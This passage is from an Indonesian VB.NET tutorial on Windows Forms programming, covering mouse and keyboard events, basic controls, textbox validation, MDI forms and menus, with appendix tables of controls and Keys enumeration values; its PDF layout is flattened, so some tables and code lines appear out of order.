<System.STAThread()> _ Public Shared Sub Main() System.Windows.Forms.Application.EnableVisualStyles() System.Windows.Forms.Application.Run(New MyForm) End Sub Public Sub New() 'Constructor Me.Text = "Dengan pendekatan OOP" End Sub Private Sub MyForm_MouseDown(sender as Object, e As System.Windows.Forms.MouseEventArgs) Handles MyBase.MouseDown Msgbox("Terjadi Event MouseDown pada " & e.x.tostring() &e.y.tostring()) End Sub

&

","

End

Class

Kalau kita menekan button mouse diatas MyForm, maka msgbox berikut akan ditampilkan.

Event pada Keyboard
Event pada keyboard terjadi pada saat pemakaian melakukan aksi penekanan tombol terhadap form, dan urutan event keyboard adalah sebagai berikut :
Event KeyDown KeyPressed KeyUp Terjadi pada saat Tombol ditekan ke bawah Tombol ditekan Tombol dilepas Argumen KeyEventHandle KeyPressEventHandle KeyEventHandle

System.Windows.Forms.KeyEventHandle
Adapun tata cara penulisan event procedure untuk event yang menggunakan KeyEventHandle adalah sebagai berikut :
Private Sub NamaKontrol_NamaEvent(ByVal sender As Object, System.Windows.Forms.KeyEventArgs) Handles MyBase.NamaEvent ByVal e As

INDOPROG

15

Pemrograman Form pada VB.NET

Hendra, S.T.

Informasi yang dapat diperoleh dari KeyEventArgs
Property Alt Control Handled KeyCode KeyData KeyValue Modifiers Shift Description Mendapatkan apakah tombol ALT ada ditekan atau tidak Mendapatkan apakah tombol CTRL ada ditekan atau tidak Mendapatkan apakah event telah terhandle Mendapatkan key code Mendapatkan key data Mendapatkan keybiard value Medapatkan flag modifier apakah event mouse disertai dengan kombinasi tombol (CTRL, SHIFT, and ALT) Mendapatkan apakah tombol shift ditekan

Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Class MyForm Inherits System.Windows.Forms.Form

<System.STAThread()> _ Public Shared Sub Main() System.Windows.Forms.Application.Run(New MyForm) End Sub Public Sub New() 'Constructor Me.Text = "Dengan pendekatan OOP" End Sub Private Sub MyForm_KeyDown(sender as Object, e As System.Windows.Forms.KeyEventArgs) Handles MyBase.KeyDown Msgbox("Nilai Alt " & e.Alt & vbCrLf & _ "Nilai Control " & e.Control & vbCrLf & _ "Nilai Handle " & e.Handled & vbCrLf & _ "Nilai KeyCode " & e.KeyCode & vbCrLf & _ "Nilai KeyValue " & e.KeyValue & vbCrLf & _ "Nilai Modifiers " & e.Modifiers & vbCrLf & _ "Nilai Shift " & e.Shift) End Sub End Class

Yang kalau kita tekan spasi akan menghasilkan msgbox berikut :

INDOPROG

16

Pemrograman Form pada VB.NET

Hendra, S.T.

System.Windows.Forms.KeyPressEventHandle
Adapun tata cara penulisan event procedure untuk event yang menggunakan KeyPressEventHandle adalah sebagai berikut :
Private Sub NamaKontrol_NamaEvent(ByVal sender As Object, ByVal System.Windows.Forms.KeyPressEventArgs) Handles MyBase.NamaEvent e As

Informasi yang dapat diperoleh dari KeyEventArgs
Property Handled KeyChar Description Mendapatkan apakah event telah dihandle Mendapatkan karakter yang ditekan

Option Explicit On Imports System Imports Microsoft.VisualBasic Public Class MyForm Inherits System.Windows.Forms.Form

<System.STAThread()> _ Public Shared Sub Main() System.Windows.Forms.Application.Run(New MyForm) End Sub Public Sub New() 'Constructor Me.Text = "Dengan pendekatan OOP" End Sub Private Sub MyForm_KeyPress(sender as Object, e As System.Windows.Forms.KeyPressEventArgs) Handles MyBase.KeyPress Msgbox("Nilai Handle " & e.Handled & vbCrLf & _ "Nilai KeyChar " & e.KeyChar & vbCrLf) End Sub End Class

INDOPROG

17

Pemrograman Form pada VB.NET

Hendra, S.T.

INDOPROG

18

Pemrograman Form pada VB.NET

Hendra, S.T.

Menempatkan kontrol diatas form
Membuat Label
Berikut ini adalah koding untuk menempatkan sebuah label diatas form
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Class MyForm Inherits System.Windows.Forms.Form

Dim CatatEvent As String <System.STAThread()> _ Public Shared Sub Main() System.Windows.Forms.Application.Run(New MyForm) End Sub Dim MyLabel As New System.Windows.Forms.Label 'Deklarasi

Public Sub New() 'Constructor Me.Text = "Membuat kontrol pada Form" MyLabel.Text = "Ini adalah Label" MyLabel.Location = New System.Drawing.Point(100,100) Me.Controls.Add(MyLabel) End Sub End Class

'Lokasi

Membuat Textbox
Berikut ini adalah koding untuk menempatkan sebuah textbox diatas form INDOPROG

19

Pemrograman Form pada VB.NET

Hendra, S.T.

Option Explicit On Imports System Imports Microsoft.VisualBasic Public Class MyForm Inherits System.Windows.Forms.Form

Dim CatatEvent As String <System.STAThread()> _ Public Shared Sub Main() System.Windows.Forms.Application.Run(New MyForm) End Sub Dim MyText As New System.Windows.Forms.Textbox 'Deklarasi

Public Sub New() 'Constructor Me.Text = "Membuat kontrol pada Form" MyText.Text = "Ini adalah Textbox" MyText.Location = New System.Drawing.Point(100,100) 'Lokasi MyText.Size = New System.Drawing.Size(140,250) 'Ukuran Me.Controls.Add(MyText) End Sub End Class

Validasi pada textbox
Untuk melakukan validasi terhadap input yang dilakukan oleh pemakai pada textbox kita dapat menggunakan event validating.

INDOPROG

20

Pemrograman Form pada VB.NET

Hendra, S.T.

Untuk menggunakan event pada kontrol, kita perlu mendeklarasikan variabel kontrol beserta WithEvents.
Private Sub NamaTextBox_Validating(ByVal sender As Object, ByVal System.ComponentModel.CancelEventArgs) Handles NamaTextbox.Validating e As

Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Class MyForm Inherits System.Windows.Forms.Form

Dim CatatEvent As String <System.STAThread()> _ Public Shared Sub Main() System.Windows.Forms.Application.EnableVisualStyles() System.Windows.Forms.Application.Run(New MyForm) End Sub Dim WithEvents MyText As New System.Windows.Forms.Textbox

Public Sub New() 'Constructor Me.Text = "Membuat kontrol pada Form" MyText.Text = "Ini adalah Textbox" MyText.Location = New System.Drawing.Point(100,100) MyText.Size = New System.Drawing.Size(140,250) Me.Controls.Add(MyText) End Sub Private Sub MyText_Validating(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyText.Validating Msgbox("Panjang Text : " & MyText.Text.Length()) End Sub End Class

Membuat button
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Class MyForm Inherits System.Windows.Forms.Form

Dim CatatEvent As String <System.STAThread()> _ Public Shared Sub Main() System.Windows.Forms.Application.Run(New MyForm) End Sub

INDOPROG

21

Pemrograman Form pada VB.NET

Hendra, S.T.

Dim

MyButton

As

New

System.Windows.Forms.Button

'Deklarasi

Public Sub New() 'Constructor Me.Text = "Membuat kontrol pada Form" MyButton.Text = "Ini adalah Button" MyButton.Location = New System.Drawing.Point(100,100) MyButton.Size = New System.Drawing.Size(120,25) Me.Controls.Add(MyButton) End Sub End Class

Event Click pada button
Pemakaian button umumnya adalah untuk proses klik oleh mouse, event procedure untuk Click penulisannya adalah sebagai berikut :
Private Sub NamaButton_Click(ByVal sender System.EventArgs) Handles NamaButton.Click As System.Object, ByVal e As

Contoh :
Option Explicit On Imports System Imports Microsoft.VisualBasic Public Class MyForm Inherits System.Windows.Forms.Form

Dim CatatEvent As String <System.STAThread()> _ Public Shared Sub Main() System.Windows.Forms.Application.EnableVisualStyles()

INDOPROG

22

Pemrograman Form pada VB.NET

Hendra, S.T.

System.Windows.Forms.Application.Run(New MyForm) End Sub Dim WithEvents MyButton As New System.Windows.Forms.Button

Public Sub New() 'Constructor Me.Text = "Membuat kontrol pada Form" MyButton.Text = "Ini adalah Button" MyButton.Location = New System.Drawing.Point(100,100) Me.Controls.Add(MyButton) End Sub Private Sub MyButton_Click(ByVal sender As System.EventArgs) Handles MyButton.Click Msgbox("Terjadi event button click") End Sub End Class System.Object, ByVal e As

Yang kalau dijalankan, dan dilakukan klik pada button akan menampilkan pesan sebagai berikut :

Latihan :
Buatlah program Windows Form untuk menghitung luas persegi panjang !

INDOPROG

23

Pemrograman Form pada VB.NET

Hendra, S.T.

Membuat Aplikasi MDI Form
MDI Form
Untuk membuat MDI Form tidak jauh berbeda dengan pembuatan form biasanya, yang perlu anda lakukan adalah dengan menset property IsMDIContainer menjadi True, Contoh :
Option Explicit On Imports System Imports System.Windows.Forms Imports Microsoft.VisualBasic Public Class MyMDI Inherits Form

<System.STAThread()> _ Public Shared Sub Main() Application.Run(New MyMDI) End Sub

Public Sub New() Me.Text = "Membuat MDI Form" Me.IsMDIContainer = True End Sub End Class

'Constructor

MDI Child
Pada dasarnya form MDI Child adalah sama dengan form biasanya, yang kemudian akan ditamplkan oleh MDI Form.
Public Class MyForm Inherits Form

Public Sub New() Me.Text = "MDI Child" End Sub End Class

Menampilkan MDI Child
Untuk menampilkan MDI Child pada MDI Form kita, adalah dengan : 1. Membuat instance dari Form yang akan dijadikan MDI Child

INDOPROG

24

Pemrograman Form pada VB.NET

Hendra, S.T.

2. Kemudian kita set property MDIParent ke Form MDI 3. Menampilkan Form MDI Child dengan metoda Show() Contoh :
Option Explicit On Imports System Imports System.Windows.Forms Imports Microsoft.VisualBasic Public Class MyMDI Inherits Form

<System.STAThread()> _ Public Shared Sub Main() Application.Run(New MyMDI) End Sub

Public Sub New() Me.Text = "Membuat MDI Form" Me.IsMDIContainer = True Dim MyChild As new MyForm MyChild.MdiParent = Me MyChild.Show() End Sub End Class Class MyForm Inherits Form

'Constructor

'Instance dari myform 'set MDIParent 'tampilkan MDI Child

Public

Public Sub New() Me.Text = "MDI Child" End Sub End Class

Pengaturan MDI Child pada MDI Form
Pengaturan susunan MDI Child pada MDI Form dapat dilakukan dengan menggunakan metoda LayoutMDI(MDI layout).
Member name ArrangeIcons Cascade TileHorizontal TileVertical Description All MDI child icons are arranged within the client region of the MDI parent form. All MDI child windows are cascaded within the client region of the MDI parent form. All MDI child windows are tiled horizontally within the client region of the MDI parent form. All MDI child windows are tiled vertically within the client region of the MDI parent form.

Contoh :

INDOPROG

25

Pemrograman Form pada VB.NET

Hendra, S.T.

Me.LayoutMDI(System.Windows.Forms.MDILayout.Cascade)

INDOPROG

26

Pemrograman Form pada VB.NET

Hendra, S.T.

Membuat Menu
Untuk membuat menu pada form, anda dapat menggunakan langkah-langkah berikut ini : 1. Membuat instance dari komponen MainMenu, dan set sebagai menu untuk form 2. Membuat MenuItem untuk MainMenu, dan tambahkan pada collection object dari MainMenu 3. Membuat SubMenuItem untuk MenuItem, dan tambahkan pada collection masing-masing object MenuItem. Contoh :
Option Explicit On Imports System Imports System.Windows.Forms Imports Microsoft.VisualBasic Public Class MyMDI Inherits Form

<System.STAThread()> _ Public Shared Sub Main() Application.Run(New MyMDI) End Sub

Public Sub New() Me.Text = "Membuat MDI Form" Me.IsMDIContainer = True AddMenu() End Sub Private Sub 'Membuat As new Me.Menu

'Constructor

AddMenu() instance dari MainMenu dan set sebagai menu form Dim mnuUtama MainMenu() = mnuUtama

'membuat menuitem Dim mnuFile As new MenuItem("&File") Dim mnuWindow As new MenuItem("&Window") mnuUtama.MenuItems.Add(mnuFile) mnuUtama.MenuItems.Add(mnuWindow) 'Tambahkan ke collection

'membuat submenuitem untuk sub menu File Dim mnuFileNew As new MenuItem("&New") Dim mnuFileClose As new MenuItem("&Close") Dim mnuFileExit As new MenuItem("&Exit") mnuFile.MenuItems.Add(mnuFileNew) mnuFile.MenuItems.Add(mnuFileClose) 'Tambahkan ke collection

INDOPROG

27

Pemrograman Form pada VB.NET

Hendra, S.T.

mnuFile.MenuItems.Add(mnuFileExit) End Sub End Class Class MyForm Inherits Form

Public

Public Sub New() Me.Text = "MDI Child" End Sub End Class

Dan hasil eksekusinya adalah sebagai berikut :

Men-disable menuitem
Untuk mendisable menuitem, kita dapat menggunakan property Enabled pada menuitem yang akan diatur keaktifannya. Contoh :
mnuFileClose.Enabled = False

atau
Me.Menu.MenuItems(0).MenuItems(2).Enabled = False

INDOPROG

28

Pemrograman Form pada VB.NET

Hendra, S.T.

Menyembunyikan menuitem
Untuk menyembunyikan menuitem, kita dapat menggunakan property Visible pada menuitem yang akan diatur kemunculannya. Contoh :
mnuFileClose.Visible = False

INDOPROG

29

Pemrograman Form pada VB.NET

Hendra, S.T.

Membuat garis pembatas pada menuitem
Untuk menbuat garis pembatas dan dapat membuat tanda - sebagai text untuk menu. Contoh :
'membuat submenuitem untuk sub menu File Dim mnuFileNew As new MenuItem("&New") Dim mnuFileClose As new MenuItem("&Close") Dim mnuGaris11 As new MenuItem("-") Dim mnuFileExit As new MenuItem("&Exit") mnuFile.MenuItems.Add(mnuFileNew) mnuFile.MenuItems.Add(mnuFileClose) mnuFile.MenuItems.Add(mnuGaris11) mnuFile.MenuItems.Add(mnuFileExit) 'Tambahkan ke collection

Membuat tanda check pada menuitem
Untuk menbuat tanda check pada menuitem dapat dilakukan dengan property Checked. Contoh :
mnuFileNew.Checked = True

INDOPROG

30

Pemrograman Form pada VB.NET

Hendra, S.T.

Menambah shortcut key pada menuitem
Untuk menbuat tanda check pada menuitem dapat dilakukan dengan property Shortcut. Contoh :
mnuFileNew.Shortcut = System.Windows.Forms.Shortcut.F2

INDOPROG

31

Pemrograman Form pada VB.NET

Hendra, S.T.

Enumeration pada Shortcut
Member name Alt0 Alt1 Alt2 Alt3 Alt4 Alt5 Alt6 Alt7 Alt8 Alt9 AltBksp AltF1 AltF10 AltF11 AltF12 AltF2 AltF3 AltF4 AltF5 AltF6 AltF7 AltF8 AltF9 Ctrl0 Ctrl1 Ctrl2 Ctrl3 Ctrl4 Ctrl5 Ctrl6 Ctrl7 Ctrl8 Ctrl9 CtrlA CtrlB CtrlC CtrlD CtrlDel CtrlE CtrlF CtrlF1 CtrlF10 CtrlF11 CtrlF12 CtrlF2 CtrlF3 CtrlF4 CtrlF5 CtrlF6 Description The shortcut keys ALT+0. The shortcut keys ALT+1. The shortcut keys ALT+2. The shortcut keys ALT+3. The shortcut keys ALT+4. The shortcut keys ALT+5. The shortcut keys ALT+6. The shortcut keys ALT+7. The shortcut keys ALT+8. The shortcut keys ALT+9. The shortcut keys ALT+BACKSPACE. The shortcut keys ALT+F1. The shortcut keys ALT+F10. The shortcut keys ALT+F11. The shortcut keys ALT+F12. The shortcut keys ALT+F2. The shortcut keys ALT+F3. The shortcut keys ALT+F4. The shortcut keys ALT+F5. The shortcut keys ALT+F6. The shortcut keys ALT+F7. The shortcut keys ALT+F8. The shortcut keys ALT+F9. The shortcut keys CTRL+0. The shortcut keys CTRL+1. The shortcut keys CTRL+2. The shortcut keys CTRL+3. The shortcut keys CTRL+4. The shortcut keys CTRL+5. The shortcut keys CTRL+6. The shortcut keys CTRL+7. The shortcut keys CTRL+8. The shortcut keys CTRL+9. The shortcut keys CTRL+A. The shortcut keys CTRL+B. The shortcut keys CTRL+C. The shortcut keys CTRL+D. The shortcut keys CTRL+DELETE. The shortcut keys CTRL+E. The shortcut keys CTRL+F. The shortcut keys CTRL+F1. The shortcut keys CTRL+F10. The shortcut keys CTRL+F11. The shortcut keys CTRL+F12. The shortcut keys CTRL+F2. The shortcut keys CTRL+F3. The shortcut keys CTRL+F4. The shortcut keys CTRL+F5. The shortcut keys CTRL+F6.

INDOPROG

32

Pemrograman Form pada VB.NET

Hendra, S.T.

CtrlF7 CtrlF8 CtrlF9 CtrlG CtrlH CtrlI CtrlIns CtrlJ CtrlK CtrlL CtrlM CtrlN CtrlO CtrlP CtrlQ CtrlR CtrlS CtrlShift0 CtrlShift1 CtrlShift2 CtrlShift3 CtrlShift4 CtrlShift5 CtrlShift6 CtrlShift7 CtrlShift8 CtrlShift9 CtrlShiftA CtrlShiftB CtrlShiftC CtrlShiftD CtrlShiftE CtrlShiftF CtrlShiftF1 CtrlShiftF10 CtrlShiftF11 CtrlShiftF12 CtrlShiftF2 CtrlShiftF3 CtrlShiftF4 CtrlShiftF5 CtrlShiftF6 CtrlShiftF7 CtrlShiftF8 CtrlShiftF9 CtrlShiftG CtrlShiftH CtrlShiftI CtrlShiftJ CtrlShiftK CtrlShiftL CtrlShiftM

The shortcut keys CTRL+F7. The shortcut keys CTRL+F8. The shortcut keys CTRL+F9. The shortcut keys CTRL+G. The shortcut keys CTRL+H. The shortcut keys CTRL+I. The shortcut keys CTRL+INSERT. The shortcut keys CTRL+J. The shortcut keys CTRL+K. The shortcut keys CTRL+L. The shortcut keys CTRL+M. The shortcut keys CTRL+N. The shortcut keys CTRL+O. The shortcut keys CTRL+P. The shortcut keys CTRL+Q. The shortcut keys CTRL+R. The shortcut keys CTRL+S. The shortcut keys CTRL+SHIFT+0. The shortcut keys CTRL+SHIFT+1. The shortcut keys CTRL+SHIFT+2. The shortcut keys CTRL+SHIFT+3. The shortcut keys CTRL+SHIFT+4. The shortcut keys CTRL+SHIFT+5. The shortcut keys CTRL+SHIFT+6. The shortcut keys CTRL+SHIFT+7. The shortcut keys CTRL+SHIFT+8. The shortcut keys CTRL+SHIFT+9. The shortcut keys CTRL+SHIFT+A. The shortcut keys CTRL+SHIFT+B. The shortcut keys CTRL+SHIFT+C. The shortcut keys CTRL+SHIFT+D. The shortcut keys CTRL+SHIFT+E. The shortcut keys CTRL+SHIFT+F. The shortcut keys CTRL+SHIFT+F1. The shortcut keys CTRL+SHIFT+F10. The shortcut keys CTRL+SHIFT+F11. The shortcut keys CTRL+SHIFT+F12. The shortcut keys CTRL+SHIFT+F2. The shortcut keys CTRL+SHIFT+F3. The shortcut keys CTRL+SHIFT+F4. The shortcut keys CTRL+SHIFT+F5. The shortcut keys CTRL+SHIFT+F6. The shortcut keys CTRL+SHIFT+F7. The shortcut keys CTRL+SHIFT+F8. The shortcut keys CTRL+SHIFT+F9. The shortcut keys CTRL+SHIFT+G. The shortcut keys CTRL+SHIFT+H. The shortcut keys CTRL+SHIFT+I. The shortcut keys CTRL+SHIFT+J. The shortcut keys CTRL+SHIFT+K. The shortcut keys CTRL+SHIFT+L. The shortcut keys CTRL+SHIFT+M.

INDOPROG

33

Pemrograman Form pada VB.NET

Hendra, S.T.

CtrlShiftN CtrlShiftO CtrlShiftP CtrlShiftQ CtrlShiftR CtrlShiftS CtrlShiftT CtrlShiftU CtrlShiftV CtrlShiftW CtrlShiftX CtrlShiftY CtrlShiftZ CtrlT CtrlU CtrlV CtrlW CtrlX CtrlY CtrlZ Del F1 F10 F11 F12 F2 F3 F4 F5 F6 F7 F8 F9 Ins None ShiftDel ShiftF1 ShiftF10 ShiftF11 ShiftF12 ShiftF2 ShiftF3 ShiftF4 ShiftF5 ShiftF6 ShiftF7 ShiftF8 ShiftF9 ShiftIns

The shortcut keys CTRL+SHIFT+N. The shortcut keys CTRL+SHIFT+O. The shortcut keys CTRL+SHIFT+P. The shortcut keys CTRL+SHIFT+Q. The shortcut keys CTRL+SHIFT+R. The shortcut keys CTRL+SHIFT+S. The shortcut keys CTRL+SHIFT+T. The shortcut keys CTRL+SHIFT+U. The shortcut keys CTRL+SHIFT+V. The shortcut keys CTRL+SHIFT+W. The shortcut keys CTRL+SHIFT+X. The shortcut keys CTRL+SHIFT+Y. The shortcut keys CTRL+SHIFT+Z. The shortcut keys CTRL+T. The shortcut keys CTRL+U The shortcut keys CTRL+V. The shortcut keys CTRL+W. The shortcut keys CTRL+X. The shortcut keys CTRL+Y. The shortcut keys CTRL+Z. The shortcut key DELETE. The shortcut key F1. The shortcut key F10. The shortcut key F11. The shortcut key F12. The shortcut key F2. The shortcut key F3. The shortcut key F4. The shortcut key F5. The shortcut key F6. The shortcut key F7. The shortcut key F8. The shortcut key F9. The shortcut key INSERT. No shortcut key is associated with the menu item. The shortcut keys SHIFT+DELETE. The shortcut keys SHIFT+F1. The shortcut keys SHIFT+F10. The shortcut keys SHIFT+F11. The shortcut keys SHIFT+F12. The shortcut keys SHIFT+F2. The shortcut keys SHIFT+F3. The shortcut keys SHIFT+F4. The shortcut keys SHIFT+F5. The shortcut keys SHIFT+F6. The shortcut keys SHIFT+F7. The shortcut keys SHIFT+F8. The shortcut keys SHIFT+F9. The shortcut keys SHIFT+INSERT.

INDOPROG

34

Pemrograman Form pada VB.NET

Hendra, S.T.

Lampiran

Kontrol pada System.Windows.Forms
Berikut ini adalah daftar control yang dapat ditempatkan diatas form menurut fungsinya :
Function Text edit Control TextBox Description Displays text entered at design time that can be edited by users at run time, or changed programmatically. Enables text to be displayed with formatting in plain text or rich-text format (RTF). Displays text that users cannot directly edit. Displays text as a Web-style link and triggers an event when the user clicks the special text. Usually the text is a link to another window or a Web site. Displays information about the application's current state using a framed window, usually at the bottom of a parent form. Displays a scrollable list of items, each accompanied by a check box. Displays a drop-down list of items. Displays a list of text items that users can scroll through with up and down buttons. Displays a list of text and graphical items (icons). Displays items in one of four different views. Views include text only, text with small icons, text with large icons, and a details view. Displays a list of numerals that users can scroll through with up and down buttons. Displays a hierarchical collection of node objects that can consist of text with optional check boxes or icons. Displays graphical files, such as bitmaps and icons, in a frame. Serves as a repository for images. ImageList controls and the images they contain can be reused from one application to the next. Displays a check box and a label for text. Generally used to set options. Displays a scrollable list of items, each accompanied by a check box. Displays a button that can be turned on or off. Allows users to set values on a scale by moving a "thumb" along a scale. Displays a graphical calendar to allow users to select a date or a time. Displays a graphical calendar to allow users to select a range of dates. Displays the color picker dialog box that allows users to set the color of an interface element. Displays a dialog box that allows users to set a font and its attributes. Displays a dialog box that allows users to navigate to and select a file.

RichTextBox Text display (read-only) Label LinkLabel

StatusBar

Selection from a list

CheckedListBox ComboBox DomainUpDown ListBox ListView

NumericUpDown TreeView

Graphics display Graphics storage

PictureBox ImageList

Value setting

CheckBox CheckedListBox RadioButton Trackbar

Date setting

DateTimePicker MonthCalendar

Dialog boxes

ColorDialog FontDialog OpenFileDialog

INDOPROG

35

Pemrograman Form pada VB.NET

Hendra, S.T.

PrintDialog PrintPreviewDialog SaveFileDialog Menu controls MainMenu ContextMenu Commands Button LinkLabel

Displays a dialog box that allows users to select a printer and set its attributes. Displays a dialog box that displays how a PrintDocument object will appear when printed. Displays a dialog box that allows users to save a file. Provides a design-time interface for creating menus. Implements a menu that appears when the user right-clicks an object. Used to start, stop, or interrupt a process. Displays text as a Web-style link and triggers an event when the user clicks the special text. Usually the text is a link to another window or a Web site. Displays an icon in the status notification area of the taskbar that represents an application running in the background. Contains a collection of button controls. Groups a set of controls on an unlabeled, scrollable frame. Groups a set of controls (such as radio buttons) on a labeled, nonscrollable frame. Provides a tabbed page for organizing and accessing grouped objects efficiently.

NotifyIcon

ToolBar Grouping other controls Panel GroupBox TabControl

INDOPROG

36

Pemrograman Form pada VB.NET

Hendra, S.T.

Keys Enumeration
Members
Member name A Supported by the .NET Compact Framework. Add Supported by the .NET Compact Framework. Alt Supported by the .NET Compact Framework. Apps Supported by the .NET Compact Framework. Attn Supported by the .NET Compact Framework. B Supported by the .NET Compact Framework. Back Supported by the .NET Compact Framework. BrowserBack BrowserFavorites BrowserForward BrowserHome BrowserRefresh BrowserSearch BrowserStop C Supported by the .NET Compact Framework. Cancel Supported by the .NET Compact Framework. Capital Supported by the .NET Compact Framework. CapsLock The CAPS LOCK key. 20 The CAPS LOCK key. 20 The CANCEL key. 3 The browser back key (Windows 2000 or later). The browser favorites key (Windows 2000 or later). The browser forward key (Windows 2000 or later). The browser home key (Windows 2000 or later). The browser refresh key (Windows 2000 or later). The browser search key (Windows 2000 or later). The browser stop key (Windows 2000 or later). The C key. 166 171 167 172 168 170 169 67 The BACKSPACE key. 8 The B key. 66 The ATTN key. 246 The application key (Microsoft Natural Keyboard). 93 The ALT modifier key. 262144 The add key. 107 The A key. Description 65 Value

INDOPROG

37

Pemrograman Form pada VB.NET

Hendra, S.T.

Supported by the .NET Compact Framework. Clear Supported by the .NET Compact Framework. Control Supported by the .NET Compact Framework. ControlKey Supported by the .NET Compact Framework. Crsel Supported by the .NET Compact Framework. D Supported by the .NET Compact Framework. D0 Supported by the .NET Compact Framework. D1 Supported by the .NET Compact Framework. D2 Supported by the .NET Compact Framework. D3 Supported by the .NET Compact Framework. D4 Supported by the .NET Compact Framework. D5 Supported by the .NET Compact Framework. D6 Supported by the .NET Compact Framework. D7 Supported by the .NET Compact Framework. D8 The 8 key. 56 The 7 key. 55 The 6 key. 54 The 5 key. 53 The 4 key. 52 The 3 key. 51 The 2 key. 50 The 1 key. 49 The 0 key. 48 The D key. 68 The CRSEL key. 247 The CTRL key. 17 The CTRL modifier key. 131072 The CLEAR key. 12

INDOPROG

38

Pemrograman Form pada VB.NET

Hendra, S.T.

Supported by the .NET Compact Framework. D9 Supported by the .NET Compact Framework. Decimal Supported by the .NET Compact Framework. Delete Supported by the .NET Compact Framework. Divide Supported by the .NET Compact Framework. Down Supported by the .NET Compact Framework. E Supported by the .NET Compact Framework. End Supported by the .NET Compact Framework. Enter Supported by the .NET Compact Framework. EraseEof Supported by the .NET Compact Framework. Escape Supported by the .NET Compact Framework. Execute Supported by the .NET Compact Framework. Exsel Supported by the .NET Compact Framework. F Supported by the .NET Compact Framework. F1 The F1 key. 112 The F key. 70 The EXSEL key. 248 The EXECUTE key. 43 The ESC key. 27 The ERASE EOF key. 249 The ENTER key. 13 The END key. 35 The E key. 69 The DOWN ARROW key. 40 The divide key. 111 The DEL key. 46 The decimal key. 110 The 9 key. 57

INDOPROG

39

Pemrograman Form pada VB.NET

Hendra, S.T.

Supported by the .NET Compact Framework. F10 Supported by the .NET Compact Framework. F11 Supported by the .NET Compact Framework. F12 Supported by the .NET Compact Framework. F13 Supported by the .NET Compact Framework. F14 Supported by the .NET Compact Framework. F15 Supported by the .NET Compact Framework. F16 Supported by the .NET Compact Framework. F17 Supported by the .NET Compact Framework. F18 Supported by the .NET Compact Framework. F19 Supported by the .NET Compact Framework. F2 Supported by the .NET Compact Framework. F20 Supported by the .NET Compact Framework. F21 Supported by the .NET Compact Framework. F22 The F22 key. 133 The F21 key. 132 The F20 key. 131 The F2 key. 113 The F19 key. 130 The F18 key. 129 The F17 key. 128 The F16 key. 127 The F15 key. 126 The F14 key. 125 The F13 key. 124 The F12 key. 123 The F11 key. 122 The F10 key. 121

INDOPROG

40

Pemrograman Form pada VB.NET

Hendra, S.T.

Supported by the .NET Compact Framework. F23 Supported by the .NET Compact Framework. F24 Supported by the .NET Compact Framework. F3 Supported by the .NET Compact Framework. F4 Supported by the .NET Compact Framework. F5 Supported by the .NET Compact Framework. F6 Supported by the .NET Compact Framework. F7 Supported by the .NET Compact Framework. F8 Supported by the .NET Compact Framework. F9 Supported by the .NET Compact Framework. FinalMode G Supported by the .NET Compact Framework. H Supported by the .NET Compact Framework. HanguelMode HangulMode HanjaMode Help Supported by the .NET Compact Framework. The IME Hanguel mode key. (maintained for compatibility; use HangulMode) The IME Hangul mode key. The IME Hanja mode key. The HELP key. 21 21 25 47 The H key. 72 The IME final mode key. The G key. 24 71 The F9 key. 120 The F8 key. 119 The F7 key. 118 The F6 key. 117 The F5 key. 116 The F4 key. 115 The F3 key. 114 The F24 key. 135 The F23 key. 134

INDOPROG

41

Pemrograman Form pada VB.NET

Hendra, S.T.

Home Supported by the .NET Compact Framework. I Supported by the .NET Compact Framework. IMEAceept IMEConvert IMEModeChange IMENonconvert Insert Supported by the .NET Compact Framework. J Supported by the .NET Compact Framework. JunjaMode K Supported by the .NET Compact Framework. KanaMode KanjiMode KeyCode Supported by the .NET Compact Framework. L Supported by the .NET Compact Framework. LaunchApplication1 LaunchApplication2 LaunchMail LButton Supported by the .NET Compact Framework. LControlKey Supported by the .NET Compact Framework. Left Supported by the .NET Compact Framework. LineFeed Supported by the .NET Compact Framework. LMenu

The HOME key.

36

The I key.

73

The IME accept key. The IME convert key. The IME mode change key. The IME nonconvert key. The INS key.

30 28 31 29 45

The J key.

74

The IME Junja mode key. The K key.

23 75

The IME Kana mode key. The IME Kanji mode key. The bitmask to extract a key code from a key value.

21 25 65535

The L key.

76

The start application one key (Windows 2000 or later). 182 The start application two key (Windows 2000 or later). 183 The launch mail key (Windows 2000 or later). The left mouse button. 180 1

The left CTRL key.

162

The LEFT ARROW key.

37

The LINEFEED key.

10

The left ALT key.

164

INDOPROG

42

Pemrograman Form pada VB.NET

Hendra, S.T.

Supported by the .NET Compact Framework. LShiftKey Supported by the .NET Compact Framework. LWin Supported by the .NET Compact Framework. M Supported by the .NET Compact Framework. MButton Supported by the .NET Compact Framework. MediaNextTrack MediaPlayPause MediaPreviousTrack MediaStop Menu Supported by the .NET Compact Framework. Modifiers Supported by the .NET Compact Framework. Multiply Supported by the .NET Compact Framework. N Supported by the .NET Compact Framework. Next Supported by the .NET Compact Framework. NoName Supported by the .NET Compact Framework. None Supported by the .NET Compact Framework. NumLock Supported by the .NET Compact Framework. The NUM LOCK key. 144 No key pressed. 0 A constant reserved for future use. 252 The PAGE DOWN key. 34 The N key. 78 The multiply key. 106 The bitmask to extract modifiers from a key value. -65536 The media next track key (Windows 2000 or later). The media play pause key (Windows 2000 or later). The media previous track key (Windows 2000 or later). The media Stop key (Windows 2000 or later). The ALT key. 176 179 177 178 18 The middle mouse button (three-button mouse). 4 The M key. 77 The left Windows logo key (Microsoft Natural Keyboard). 91 The left SHIFT key. 160

INDOPROG

43

Pemrograman Form pada VB.NET

Hendra, S.T.

NumPad0 Supported by the .NET Compact Framework. NumPad1 Supported by the .NET Compact Framework. NumPad2 Supported by the .NET Compact Framework. NumPad3 Supported by the .NET Compact Framework. NumPad4 Supported by the .NET Compact Framework. NumPad5 Supported by the .NET Compact Framework. NumPad6 Supported by the .NET Compact Framework. NumPad7 Supported by the .NET Compact Framework. NumPad8 Supported by the .NET Compact Framework. NumPad9 Supported by the .NET Compact Framework. O Supported by the .NET Compact Framework. Oem8 OemBackslash OemClear Supported by the .NET Compact Framework. OemCloseBrackets Oemcomma OemMinus

The 0 key on the numeric keypad.

96

The 1 key on the numeric keypad.

97

The 2 key on the numeric keypad.

98

The 3 key on the numeric keypad.

99

The 4 key on the numeric keypad.

100

The 5 key on the numeric keypad.

101

The 6 key on the numeric keypad.

102

